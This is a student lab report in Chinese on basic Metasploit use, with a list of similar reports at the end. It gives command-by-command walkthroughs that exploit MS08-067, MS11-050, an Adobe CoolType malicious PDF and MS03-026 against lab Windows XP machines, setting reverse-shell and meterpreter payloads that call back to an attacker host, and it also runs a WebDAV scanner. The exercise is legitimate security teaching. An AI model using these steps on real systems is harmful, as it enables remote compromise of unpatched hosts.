实验内容

本实践目标是掌握metasploit的基本应用方式,重点常用的三种攻击方式的思路。具体需要完成:

  • 一个主动攻击实践,如ms08-067;

  • 一个针对浏览器的攻击,如ms11-050;

  • 一个针对客户端的攻击,如Adobe;

  • 成功应用任何一个辅助模块。

  • 以上四个小实践可不限于以上示例,并要求至少有一个是和其他所有同学不一样的。


主动攻击实践 MS08-067漏洞

  • msfconsole进入msf控制台
  • search ms08_067查看该漏洞

  • use exploit/windows/smb/ms08_067_netapi使用该漏洞

  • show payloads回链攻击载荷

  • set payload generic/shell_reverse_tcptcp反向回连

  • set LHOST 192.168.126.128攻击机的ip地址

  • set LPORT 5229 攻击的端口

  • set RHOST 192.168.126.136靶机的ip地址

  • set target 0 选择目标系统类型

  • exploit 进行攻击

  • 下图中展现了攻击成功

  • 在kali中输入ipconfig查看靶机的ip地址

  • 在XP中查看靶机的ip地址,两者相比较,完全一样。

针对浏览器的攻击 ms11_050

  • 进入msfconsole控制台

  • 输入use windows/browser/ms11_050_mshtml_cobjectelement命令使用ms11_050漏洞

  • 输入set payload windows/meterpreter/reverse_http命令使用http反向连接

  • 设置kali的IP地址set LHOST 192.168.126.128

  • 设置端口set LPORT 5229

  • 设置资源标识符路径set URIPATH fyh5229

  • 进行攻击exploit



将上图的LOCAL IP 的网址输入进WIN XP中的IE浏览器中,出现遇到问题需要关闭的窗口。同时360已经给出需要修复的通知。

  • 但是回到KALI建立会话时,IE浏览器已经关闭该网页。

  • 设置浏览器的选项,将安全等级设为最低,且启动了插件设置,但是,会话连接还是失败。。。

会接着研究这个问题的

针对客户端的攻击 Adobe

  • 输入msfconsole进入msf控制台

  • 输入search adobe查找和adobe相关的漏洞

  • 我选择了 windows/fileformat/adobe_cooltype_sing

  • 输入set payload windows/meterpreter/reverse_tcp使用tcp反向连接

  • 设置IP地址及端口号

  • 输入set FILENAME 5229.pdf命令生成pdf文件

  • 进行攻击

  • 下图为成功生成PDF文件的标志。

  • 根据存储路径,找到PDF文件并将其放进靶机里。
  • 但我找了很久都没有找到该文件,后来,如下图,选择显示隐藏文件,这时就能找到隐藏的文件夹了。

  • 我先将改文件复制进了我的主机中,立马被360删除了。

  • 在msf中进入监听模式
  • set payload windows/meterpreter/reverse_tcptcp反向连接
  • 设置ip地址和端口号
  • 进行攻击

  • 在XP上打开5229.pdf文件,kali中显示攻击成功

  • 输入ipconfig,显示的是xp的ip地址,证明攻击正确。


辅助模块 webdav

webdav: WebDAV 一种基于 HTTP 1.1协议的通信协议。由于 WebDAV 已与 Windows XP 和 IIS 集成,因此它具有这两者所提供的安全特性。其中包括 Internet 信息服务管理单元中指定的 IIS 权限和 NTFS 文件系统中的自由选择访问控制列表 (DACL)。

  • 进入msf控制台
  • 使用show auxiliary命令显示所有的辅助模块以及他们的用途。

  • 选择scanner/http/webdav_scanner
  • show options查看该漏洞的配置选项

  • 设置了kali的ip地址和线程
  • 进行攻击

  • 允许webdav,再次进行攻击,会得到[*] 192.168.126.128 (Microsoft-IIS/6.0) has WEBDAV ENABLED 的消息。

RPC接口长主机名远程缓冲区溢出漏洞(MS03-026)

  • Remote Procedure Call (RPC)是Windows操作系统使用的一种远程过程调用协议,RPC提供进程间交互通信机制,允许在某台计算机上运行的程序无缝地在远程系统上执行代码。

  • 使用use exploit/windows/dcerpc/ms03_026_dcom

  • 使用set payload windows/shell_bind_tcptcp反向连接

  • show options 查看该漏洞的配置选项

  • set LHOST 192.168.126.128 设置主机ip

  • set RHOST 192.168.126.137 设置反弹shell的ip

  • 进行攻击,攻击成功,但是没办法建立会话。

"无会话已创建"消息发生的情况: ① 使用的漏洞利用对所选择的目标不起作用。可以
是一个不同版本的漏洞,或目标配置有问题。 ② 您使用的漏洞利用被配置为使用不创建的有效载荷
互动会话。

实验后问题回答

  • 用自己的话解释什么是exploit,payload,encode.

  • exploit英文翻译为利用,黑客就是利用漏洞对电脑进行攻击,有漏洞不一定可以利用,但可以利用的一定有漏洞。

  • payload:有效载荷。通常在传输数据时,为了使数据传输更可靠,要把原始数据分批传输,并且在每一批数据的头和尾都加上一定的辅助信息,而其中的原始数据就是payload

  • encode:编码器,用来给payload进行编码,保护payload不被发现


实验总结与体会

这次实验其实不难,但是不代表每次攻击都能成功,也不代表每次攻击都能成功建立会话,我做了好几个实验,成功的占少数,还有些失败的我没写上来。

虽然失败的占多数,但无疑这次实验通过自己查找资料学习漏洞学到了很多知识。

20155229《网络对抗技术》Exp5:MSF基础应用的更多相关文章

  1. 2018-2019-2 20165205 《网络对抗》 Exp5 MSF基础

    2018-2019-2 20165205 <网络对抗> Exp5 MSF基础 实验内容 本实践目标是掌握metasploit的基本应用方式,重点常用的三种攻击方式的思路.具体需要完成: 1 ...

  2. 20155227《网络对抗》Exp5 MSF基础应用

    20155227<网络对抗>Exp5 MSF基础应用 基础问题回答 用自己的话解释什么是exploit,payload,encode exploit:把实现设置好的东西送到要攻击的主机里. ...

  3. 20155232《网络对抗》Exp5 MSF基础应用

    20155232<网络对抗>Exp5 MSF基础应用 基础问题回答 用自己的话解释什么是exploit,payload,encode. exploit:就是利用可能存在的漏洞对目标进行攻击 ...

  4. 20155302《网络对抗》Exp5 MSF基础应用

    20155302<网络对抗>Exp5 MSF基础应用 实验内容 本实践目标是掌握metasploit的基本应用方式,重点常用的三种攻击方式的思路.具体需要完成: 1.1一个主动攻击实践,如 ...

  5. 20155323刘威良《网络对抗》Exp5 MSF基础应用

    20155323刘威良<网络对抗>Exp5 MSF基础应用 实践内容 本实践目标是掌握metasploit的基本应用方式,重点常用的三种攻击方式的思路.具体需要完成: 1.1一个主动攻击实 ...

  6. 20145301 赵嘉鑫 《网络对抗》Exp5 MSF基础应用

    20145301 赵嘉鑫 <网络对抗>Exp5 MSF基础应用 一 实验链接 渗透实验一:MS08_067渗透实验 渗透实验二:MS14_064渗透实验  (首用) 渗透实验三:Adobe ...

  7. 20145215《网络对抗》Exp5 MSF基础应用

    20145215<网络对抗>Exp5 MSF基础应用 基础问题回答 用自己的话解释什么是exploit,payload,encode? exploit就相当于是载具,将真正要负责攻击的代码 ...

  8. 20145208 蔡野 《网络对抗》Exp5 MSF基础应用

    20145208 蔡野 <网络对抗>Exp5 MSF基础应用 链接地址 主动攻击:利用ms08_067_netapi进行攻击 对浏览器攻击:MS10-002 对客户端攻击:adobe_to ...

  9. 20145311王亦徐 《网络对抗技术》 MSF基础应用

    20145311王亦徐 <网络对抗技术> MSF基础应用 实验内容 掌握metasploit的基本应用方式以及常用的三种攻击方式的思路 主动攻击,即对系统的攻击,不需要被攻击方配合,以ms ...

  10. 20145325张梓靖 《网络对抗技术》 MSF基础应用

    20145325张梓靖 <网络对抗技术> MSF基础应用 实验内容 掌握metasploit的基本应用方式以及常用的三种攻击方式的思路 主动攻击,即对系统的攻击,不需要被攻击方配合,这里以 ...

随机推荐

  1. Windows应用程序进程级别统一监控实践

    一般的系统级别指标监控,更多关注CPU.内存.磁盘.网络等运行情况,对应用程序运行时的进程指标关注不够,导致不能深入了解系统运行状态.本文根据笔者应用实践,探讨一下进程级别监控涉及到的监控内容以及监控 ...

  2. 腾讯Ocr文字识别

    简述 上篇文章记录了百度Ocr的两种模式用法,接下来这篇文章开始记录腾讯Ocr的使用方法.腾讯Ocr的通用印刷体识别模式使用比较简单,直接接入sdk即可,但手写体的识别相对比较麻烦,需要自己post表 ...

  3. 解释JS变量作用域的范例

    JS的变量作用域只有两种:全局作用域与函数作用域. 用var声明的变量不能简单的说是属于函数作用域,应该是说属于其最近的作用域. var a = 10; function test(){ var a; ...

  4. Google Play内购测试

    Google Play内购测试 最近项目做海外版本,接入Google wallet支付后,测试验证比较繁琐,故记录一下. Google wallet支付方式接入完成后,需要按照如下步骤设置,才可以进行 ...

  5. 什么是 Azure 中的虚拟机规模集?

    虚拟机规模集是一种 Azure 计算资源,可用于部署和管理一组相同的 VM. 由于所有 VM 的配置都相同,因此无需对 VM 进行任何预先配置. 这样就可以更方便地构建面向大型计算.大数据.容器化工作 ...

  6. NIO 学习笔记

    0. 介绍 参考   关于Java IO与NIO知识都在这里   ,在其基础上进行修改与补充. 1. NIO介绍 1.1 NIO 是什么 Java NIO 是 java 1.4, 之后新出的一套IO接 ...

  7. 配置nginx支持TP框架

    TP框架配置中默认URL_MODEL=1,而Nginx默认是不支持PATHINFO的.如果我们只想跑起来tp框架,很简单,只需到更改TP配置,设置URL_MODEL=3(兼容模式).但是如果要让Ngi ...

  8. 过滤掉URL中的参数部分

    //将超链接的参数部分滤掉 ?xxx if(url.contains("?")){ url=url.substring(0,url.indexOf("?")); ...

  9. Android Handler 内存泄漏,文末消息机制的小总结

    1. 内存泄漏的Activity public class MainActivity extends AppCompatActivity { private static final int MESS ...

  10. Alpha冲刺报告(3/12)(麻瓜制造者)

    今日已完成情况: 肖小强: 解决了之前的部署demo问题,学习了基本需要的api 江郑: 进行发布需求数据库的增删改查 邓弘立: 完成了轮播图的设计 刘双玉: 编码发布商品的接口,数据库表的修改 汪志 ...